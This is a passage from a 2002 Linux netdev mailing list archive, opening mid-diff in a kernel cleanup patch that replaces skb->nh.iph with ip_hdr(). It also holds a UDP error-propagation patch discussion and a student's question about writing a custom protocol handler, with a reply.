cracking.\n"); return NF_ACCEPT; ===== net/ipv6/netfilter/ip6table_mangle.c 1.3 vs edited ===== --- 1.3/net/ipv6/netfilter/ip6table_mangle.c Tue Feb 5 13:24:40 2002 +++ edited/net/ipv6/netfilter/ip6table_mangle.c Mon Sep 30 19:22:22 2002 @@ -143,7 +143,7 @@ #if 0 /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) - || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) { + || ip_hdr(*pskb)->ihl * 4 < sizeof(struct iphdr)) { if (net_ratelimit()) printk("ip6t_hook: happy cracking.\n"); return NF_ACCEPT; ===== net/sched/cls_rsvp.h 1.2 vs edited ===== --- 1.2/net/sched/cls_rsvp.h Tue Feb 5 13:24:36 2002 +++ edited/net/sched/cls_rsvp.h Mon Sep 30 19:22:22 2002 @@ -146,7 +146,7 @@ #if RSVP_DST_LEN == 4 struct ipv6hdr *nhptr = skb->nh.ipv6h; #else - struct iphdr *nhptr = skb->nh.iph; + struct iphdr *nhptr = ip_hdr(skb); #endif #if !defined( __i386__) && !defined(__mc68000__) ===== net/sched/sch_atm.c 1.3 vs edited ===== --- 1.3/net/sched/sch_atm.c Tue Feb 5 13:24:36 2002 +++ edited/net/sched/sch_atm.c Mon Sep 30 19:22:22 2002 @@ -497,7 +497,7 @@ } D2PRINTK("atm_tc_deqeueue: sending on class %p\n",flow); /* remove any LL header somebody else has attached */ - skb_pull(skb,(char *) skb->nh.iph-(char *) skb->data); + skb_pull(skb, (char *)ip_hdr(skb) - (char *)skb->data); if (skb_headroom(skb) < flow->hdr_len) { struct sk_buff *new; @@ -507,7 +507,7 @@ skb = new; } D2PRINTK("sch_atm_dequeue: ip %p, data %p\n", - skb->nh.iph,skb->data); + ip_hdr(skb), skb->data); ATM_SKB(skb)->vcc = flow->vcc; memcpy(skb_push(skb,flow->hdr_len),flow->hdr, flow->hdr_len); ===== net/sched/sch_dsmark.c 1.6 vs edited ===== --- 1.6/net/sched/sch_dsmark.c Tue Feb 5 13:24:36 2002 +++ edited/net/sched/sch_dsmark.c Mon Sep 30 19:22:22 2002 @@ -194,10 +194,10 @@ D2PRINTK("dsmark_enqueue(skb %p,sch %p,[qdisc %p])\n",skb,sch,p); if (p->set_tc_index) { switch (skb->protocol) { - case __constant_htons(ETH_P_IP): - skb->tc_index = ipv4_get_dsfield(skb->nh.iph); + case htons(ETH_P_IP): + skb->tc_index = ipv4_get_dsfield(ip_hdr(skb)); break; - case __constant_htons(ETH_P_IPV6): + case htons(ETH_P_IPV6): skb->tc_index = ipv6_get_dsfield(skb->nh.ipv6h); break; default: @@ -262,13 +262,13 @@ index = skb->tc_index & (p->indices-1); D2PRINTK("index %d->%d\n",skb->tc_index,index); switch (skb->protocol) { - case __constant_htons(ETH_P_IP): - ipv4_change_dsfield(skb->nh.iph, - p->mask[index],p->value[index]); + case htons(ETH_P_IP): + ipv4_change_dsfield(ip_hdr(skb), p->mask[index], + p->value[index]); break; - case __constant_htons(ETH_P_IPV6): - ipv6_change_dsfield(skb->nh.ipv6h, - p->mask[index],p->value[index]); + case htons(ETH_P_IPV6): + ipv6_change_dsfield(skb->nh.ipv6h, p->mask[index], + p->value[index]); break; default: /* ===== net/sched/sch_red.c 1.4 vs edited ===== --- 1.4/net/sched/sch_red.c Tue Feb 5 13:24:36 2002 +++ edited/net/sched/sch_red.c Mon Sep 30 19:22:22 2002 @@ -164,26 +164,26 @@ return 0; switch (skb->protocol) { - case __constant_htons(ETH_P_IP): + case htons(ETH_P_IP): { - u8 tos = skb->nh.iph->tos; + u8 tos = ip_hdr(skb)->tos; if (!(tos & RED_ECN_ECT)) return 0; if (!(tos & RED_ECN_CE)) - IP_ECN_set_ce(skb->nh.iph); + IP_ECN_set_ce(ip_hdr(skb)); return 1; } - case __constant_htons(ETH_P_IPV6): + case htons(ETH_P_IPV6): { u32 label = *(u32*)skb->nh.raw; - if (!(label & __constant_htonl(RED_ECN_ECT<<20))) + if (!(label & htonl(RED_ECN_ECT << 20))) return 0; - label |= __constant_htonl(RED_ECN_CE<<20); + label |= htonl(RED_ECN_CE << 20); return 1; } ===== net/sched/sch_sfq.c 1.5 vs edited ===== --- 1.5/net/sched/sch_sfq.c Wed May 22 15:16:37 2002 +++ edited/net/sched/sch_sfq.c Mon Sep 30 19:22:22 2002 @@ -140,9 +140,9 @@ u32 h, h2; switch (skb->protocol) { - case __constant_htons(ETH_P_IP): + case htons(ETH_P_IP): { - struct iphdr *iph = skb->nh.iph; + struct iphdr *iph = ip_hdr(skb); h = iph->daddr; h2 = iph->saddr^iph->protocol; if (!(iph->frag_off&htons(IP_MF|IP_OFFSET)) && @@ -152,7 +152,7 @@ h2 ^= *(((u32*)iph) + iph->ihl); break; } - case __constant_htons(ETH_P_IPV6): + case htons(ETH_P_IPV6): { struct ipv6hdr *iph = skb->nh.ipv6h; h = iph->daddr.s6_addr32[3]; ===== net/sctp/input.c 1.5 vs edited ===== --- 1.5/net/sctp/input.c Wed Sep 25 10:16:43 2002 +++ edited/net/sctp/input.c Mon Sep 30 19:22:22 2002 @@ -76,13 +76,14 @@ __u16 *port; size_t len; struct sctphdr *sh; + struct iphdr *iph = ip_hdr(skb); - switch (skb->nh.iph->version) { + switch (iph->version) { case 4: to = &addr->v4.sin_addr.s_addr; port = &addr->v4.sin_port; - saddr = &skb->nh.iph->saddr; - daddr = &skb->nh.iph->daddr; + saddr = &iph->saddr; + daddr = &iph->daddr; len = sizeof(struct in_addr); addr->v4.sin_family = AF_INET; break; ===== net/sctp/protocol.c 1.7 vs edited ===== --- 1.7/net/sctp/protocol.c Wed Sep 25 10:16:43 2002 +++ edited/net/sctp/protocol.c Mon Sep 30 19:22:22 2002 @@ -387,7 +387,7 @@ sin = (struct sockaddr_in *)msgname; sh = (struct sctphdr *)skb->h.raw; sin->sin_port = sh->source; - sin->sin_addr.s_addr = skb->nh.iph->saddr; + sin->sin_addr.s_addr = ip_hdr(skb)->saddr; } } ===== net/sctp/sm_make_chunk.c 1.8 vs edited ===== --- 1.8/net/sctp/sm_make_chunk.c Wed Sep 25 10:16:43 2002 +++ edited/net/sctp/sm_make_chunk.c Mon Sep 30 19:22:22 2002 @@ -971,7 +971,7 @@ source = &chunk->source; skb = chunk->skb; - ih4 = skb->nh.iph; + ih4 = ip_hdr(skb); ih6 = skb->nh.ipv6h; sh = chunk->sctp_hdr; @@ -1186,20 +1186,20 @@ { sctp_association_t *asoc; sctp_scope_t scope; + struct iphdr *iph; /* Create the bare association. */ scope = sctp_scope(sctp_source(chunk)); asoc = sctp_association_new(ep, ep->base.sk, scope, priority); if (!asoc) goto nodata; - + iph = ip_hdr(chunk->skb); /* Create an entry for the source address of the packet. */ - switch (chunk->skb->nh.iph->version) { + switch (iph->version) { case 4: asoc->c.peer_addr.v4.sin_family = AF_INET; asoc->c.peer_addr.v4.sin_port = ntohs(chunk->sctp_hdr->source); - asoc->c.peer_addr.v4.sin_addr.s_addr = - chunk->skb->nh.iph->saddr; + asoc->c.peer_addr.v4.sin_addr.s_addr = iph->saddr; break; case 6: ===== net/sctp/sm_statefuns.c 1.8 vs edited ===== --- 1.8/net/sctp/sm_statefuns.c Wed Sep 25 10:16:43 2002 +++ edited/net/sctp/sm_statefuns.c Mon Sep 30 19:22:22 2002 @@ -1926,7 +1926,7 @@ if (!chunk->ecn_ce_done) { chunk->ecn_ce_done = 1; - if (INET_ECN_is_ce(chunk->skb->nh.iph->tos) && + if (INET_ECN_is_ce(ip_hdr(chunk->skb)->tos) && asoc->peer.ecn_capable) { /* Do real work as sideffect. */ sctp_add_cmd_sf(commands, SCTP_CMD_ECN_CE, @@ -2140,7 +2140,7 @@ */ if (!chunk->ecn_ce_done) { chunk->ecn_ce_done = 1; - if (INET_ECN_is_ce(chunk->skb->nh.iph->tos) && + if (INET_ECN_is_ce(ip_hdr(chunk->skb)->tos) && asoc->peer.ecn_capable) { /* Do real work as sideffect. */ sctp_add_cmd_sf(commands, SCTP_CMD_ECN_CE, ===== net/sunrpc/svcsock.c 1.26 vs edited ===== --- 1.26/net/sunrpc/svcsock.c Wed Sep 18 07:05:34 2002 +++ edited/net/sunrpc/svcsock.c Mon Sep 30 19:22:22 2002 @@ -532,7 +532,7 @@ /* Get sender address */ rqstp->rq_addr.sin_family = AF_INET; rqstp->rq_addr.sin_port = skb->h.uh->source; - rqstp->rq_addr.sin_addr.s_addr = skb->nh.iph->saddr; + rqstp->rq_addr.sin_addr.s_addr = ip_hdr(skb)->saddr; if (serv->sv_stats) serv->sv_stats->netudpcnt++; From davem@redhat.com Mon Sep 30 16:01:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 16:01:16 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UN1EtG011144 for ; Mon, 30 Sep 2002 16:01:14 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA04791; Mon, 30 Sep 2002 15:53:59 -0700 Date: Mon, 30 Sep 2002 15:53:58 -0700 (PDT) Message-Id: <20020930.155358.77718505.davem@redhat.com> To: acme@conectiva.com.br Cc: netdev@oss.sgi.com Subject: Re: RFC: cleaning up struct sk_buff before halloween From: "David S. Miller" In-Reply-To: <20020930225356.GC15297@conectiva.com.br> References: <20020930225356.GC15297@conectiva.com.br> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 441 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev If you think that this is something doable for 2.6, I'll break the changeset into smaller chunks, per subsystem, etc. Let's do this like the last week of October or something :-) It even qualifies past the feature freeze since it's a cleanup. From hadi@cyberus.ca Mon Sep 30 17:29:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 17:29:41 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g910TYtG012225 for ; Mon, 30 Sep 2002 17:29:34 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id UAA02136; Mon, 30 Sep 2002 20:29:33 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g910MOm16781; Mon, 30 Sep 2002 20:22:24 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Mon, 30 Sep 2002 20:22:24 -0400 (EDT) From: jamal To: Eric Lemoine cc: Eric Lemoine , Subject: PATCH Re: udp weirdness In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 442 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Eric, you are right about sk->protinfo.af_inet.recverr .. I checked what other OSes do and i am convinced that the patch below at least makes us behave like the BSDs. Alexey/Dave, sk->protinfo.af_inet.recverr is not needed for enobufs to be propagated back to the socket level; please review and probably apply: cheers, jamal --- ip_output.c 2002/09/29 08:50:36 1.1 +++ ip_output.c 2002/09/30 06:24:32 @@ -603,8 +603,11 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, skb->dst->dev, output_maybe_reroute); if (err) { - if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + if (err > 0) { + err = net_xmit_errno(err); + if (!err && sk->protinfo.af_inet.recverr) + err = sk->protinfo.af_inet.recverr; + } if (err) goto error; } @@ -713,8 +716,11 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, output_maybe_reroute); - if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + if (err > 0) { + err = net_xmit_errno(err); + if (!err && sk->protinfo.af_inet.recverr) + err = sk->protinfo.af_inet.recverr; + } if (err) goto error; out: From acme@conectiva.com.br Mon Sep 30 22:20:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 22:20:50 -0700 (PDT) Received: from dino.conectiva.com.br (dino.conectiva.com.br [200.250.58.152]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g915KjtG016224 for ; Mon, 30 Sep 2002 22:20:46 -0700 Received: (from httpd@localhost) by dino.conectiva.com.br (8.9.3/8.9.3) id CAA02677; Tue, 1 Oct 2002 02:20:31 -0300 From: acme@conectiva.com.br X-Authentication-Warning: dino.conectiva.com.br: httpd set sender to acme@conectiva.com.br using -f To: "David S. Miller" Subject: Re: RFC: cleaning up struct sk_buff before halloween Message-ID: <1033449631.3d99309f55830@webmail.conectiva.com.br> Date: Tue, 01 Oct 2002 02:20:31 -0300 (BRST) Cc: acme@conectiva.com.br, netdev@oss.sgi.com References: <20020930225356.GC15297@conectiva.com.br> <20020930.155358.77718505.davem@redhat.com> In-Reply-To: <20020930.155358.77718505.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.8 X-archive-position: 443 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Quoting "David S. Miller" : > If you think that this is something doable for 2.6, I'll break > the changeset into smaller chunks, per subsystem, etc. > > Let's do this like the last week of October or something :-) > It even qualifies past the feature freeze since it's a cleanup. Done deal. :-) - Arnaldo From Eric.Lemoine@sun.com Mon Sep 30 23:36:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 23:36:15 -0700 (PDT) Received: from s2.smtp.oleane.net (s2.smtp.oleane.net [195.25.12.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g916a9tG017070 for ; Mon, 30 Sep 2002 23:36:09 -0700 Received: from gbl-dhcp-198-204.europe.research.sun.com ([194.2.198.204]) by s2.smtp.oleane.net with ESMTP id g916ZvNc030624; Tue, 1 Oct 2002 08:35:58 +0200 (CEST) Received: from eric by (null) with local (MasqMail 0.1.16) id 17wGdR-06Z-00; Tue, 01 Oct 2002 08:35:57 +0200 Date: Tue, 1 Oct 2002 08:35:57 +0200 From: Eric Lemoine To: jamal Cc: Eric Lemoine , Eric Lemoine , netdev@oss.sgi.com Subject: Re: PATCH Re: udp weirdness Message-ID: <20021001063557.GA331@hookipa> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Warning: return path set from From: address X-archive-position: 444 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Lemoine@sun.com Precedence: bulk X-list: netdev > Eric, > > you are right about sk->protinfo.af_inet.recverr .. > I checked what other OSes do and i am convinced that the patch below > at least makes us behave like the BSDs. > Alexey/Dave, sk->protinfo.af_inet.recverr is not needed for enobufs to > be propagated back to the socket level; please review and probably > apply: Jamal, Have you posted the right patch? I see that sk->protinfo.af_inet.recverr is still around. Here follows the patch that I think is the correct one. Please confirm. Thx. --- ip_output.c.old Mon Sep 30 10:34:07 2002 +++ ip_output.c Tue Oct 1 00:00:05 2002 @@ -604,7 +604,7 @@ skb->dst->dev, output_maybe_reroute); if (err) { if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + err = net_xmit_errno(err); if (err) goto error; } @@ -714,7 +714,7 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, output_maybe_reroute); if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + err = net_xmit_errno(err); if (err) goto error; out: > --- ip_output.c 2002/09/29 08:50:36 1.1 > +++ ip_output.c 2002/09/30 06:24:32 > @@ -603,8 +603,11 @@ > err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, > skb->dst->dev, output_maybe_reroute); > if (err) { > - if (err > 0) > - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; > + if (err > 0) { > + err = net_xmit_errno(err); > + if (!err && sk->protinfo.af_inet.recverr) > + err = sk->protinfo.af_inet.recverr; > + } > if (err) > goto error; > } > @@ -713,8 +716,11 @@ > > err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, > output_maybe_reroute); > - if (err > 0) > - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; > + if (err > 0) { > + err = net_xmit_errno(err); > + if (!err && sk->protinfo.af_inet.recverr) > + err = sk->protinfo.af_inet.recverr; > + } > if (err) > goto error; > out: -- Eric From d98maad@stud.hh.se Mon Sep 30 23:51:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 23:51:14 -0700 (PDT) Received: from trill.hh.se (trill.hh.se [194.47.5.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g916p7tG017562 for ; Mon, 30 Sep 2002 23:51:09 -0700 Received: from IDEF5-04.stud.hh.se (idef5-04.hh.se [194.47.2.253]) by trill.hh.se (8.9.3/8.9.3) with ESMTP id IAA17629 for ; Tue, 1 Oct 2002 08:51:06 +0200 (MET DST) Message-Id: <5.1.0.14.0.20021001085009.00b8e318@studpop.hh.se> X-Sender: d98maad@studpop.hh.se X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 01 Oct 2002 08:51:02 +0200 To: netdev@oss.sgi.com From: Markus Adolfsson Subject: Need to build my own protocol handler... Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 445 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: d98maad@stud.hh.se Precedence: bulk X-list: netdev My name is Markus Adolfsson and I'm a 25 year old master student at University of Halmstad in Sweden. We are currently developing end nodes in Linux that must be able to generate and receive Ethernet frames with as little interference as possible from existing protocols. We know how to solve the problem in user space by developing some sort of deamon that uses PF_SOCKET and delivers incoming traffic matching a certain pattern to our end node application. However, our master thesis project's keyword is determinism and a latency > 5 ms is not acceptable. Since the only way out of this requires a kernel space implementation, we need to build our own protocol handler that receives and handles our traffic. I've studied a couple of your articles at www.linuxjournal.com but would really appreciate your guidance. I'd like to be able to do a "Other Layer 3 Protocol Handler" as seen in www.linuxjournal.com/modules/NS-lj-issues/issue95/5617f1.png but I find it quite difficult to understand all of the source code in similar handlers such as /net/ipv4. Which files should I look into and what are the essential functions that I would have to redefine? The files are quite big and some sort of map would really be nice, indicating which function that calls ip_init() in net/ipv4/ip_output.c? Where would I need to register my "own" protocol handler? I'm an experienced programmer but I have never been hacking in the Linux kernel before... .I realize that this probably is a quite big question that probably need a rather big answer but I'm starting to get a little bit desperate and any help of yours is highly appreciated;) -- Best regards, Markus Adolfsson From greearb@candelatech.com Mon Sep 30 23:58:33 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 23:58:36 -0700 (PDT) Received: from grok.yi.org (IDENT:fnyv4OsKmUrFSGHXkECVnbcT6n1bgiUs@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g916wVtG017976 for ; Mon, 30 Sep 2002 23:58:32 -0700 Received: from candelatech.com (IDENT:B/CkaNlmP93YY7e5DRbOm7e5UVFr1fnx@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g916wDv05474; Mon, 30 Sep 2002 23:58:14 -0700 Message-ID: <3D994785.3020208@candelatech.com> Date: Mon, 30 Sep 2002 23:58:13 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Markus Adolfsson CC: netdev@oss.sgi.com Subject: Re: Need to build my own protocol handler... References: <5.1.0.14.0.20021001085009.00b8e318@studpop.hh.se> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 446 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Markus Adolfsson wrote: > My name is Markus Adolfsson and I'm a 25 year old master student at > University of Halmstad in Sweden. We are currently developing end nodes > in Linux that must be able to generate and receive Ethernet frames with > as little interference as possible from existing protocols. > > We know how to solve the problem in user space by developing some sort > of deamon that uses PF_SOCKET and delivers incoming traffic matching a > certain pattern to our end node application. However, our master thesis > project's keyword is determinism and a latency > 5 ms is not acceptable. You cannot guarantee low latency just by putting stuff in the kernel, though that may help your average case. You may get better luck by using scheduling tricks to make your program run at a high priority. You could even use some of the many near-realtime patches for linux. What speeds are you looking to achieve? Ben > > Since the only way out of this requires a kernel space implementation, > we need to build our own protocol handler that receives and handles our > traffic. I've studied a couple of your articles at www.linuxjournal.com > but would really appreciate your guidance. > > I'd like to be able to do a "Other Layer 3 Protocol Handler" as seen in > www.linuxjournal.com/modules/NS-lj-issues/issue95/5617f1.png but I find > it quite difficult to understand all of the source code in similar > handlers such as /net/ipv4. Which files should I look into and what are > the essential functions that I would have to redefine? The files are > quite big and some sort of map would really be nice, indicating which > function that calls ip_init() in net/ipv4/ip_output.c? Where would I > need to register my "own" protocol handler? I'm an experienced > programmer but I have never been hacking in the Linux kernel before... > > .I realize that this probably is a quite big question that probably need > a rather big answer but I'm starting to get a little bit desperate and > any help of yours is highly appreciated;) > > -- Best regards, Markus Adolfsson -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear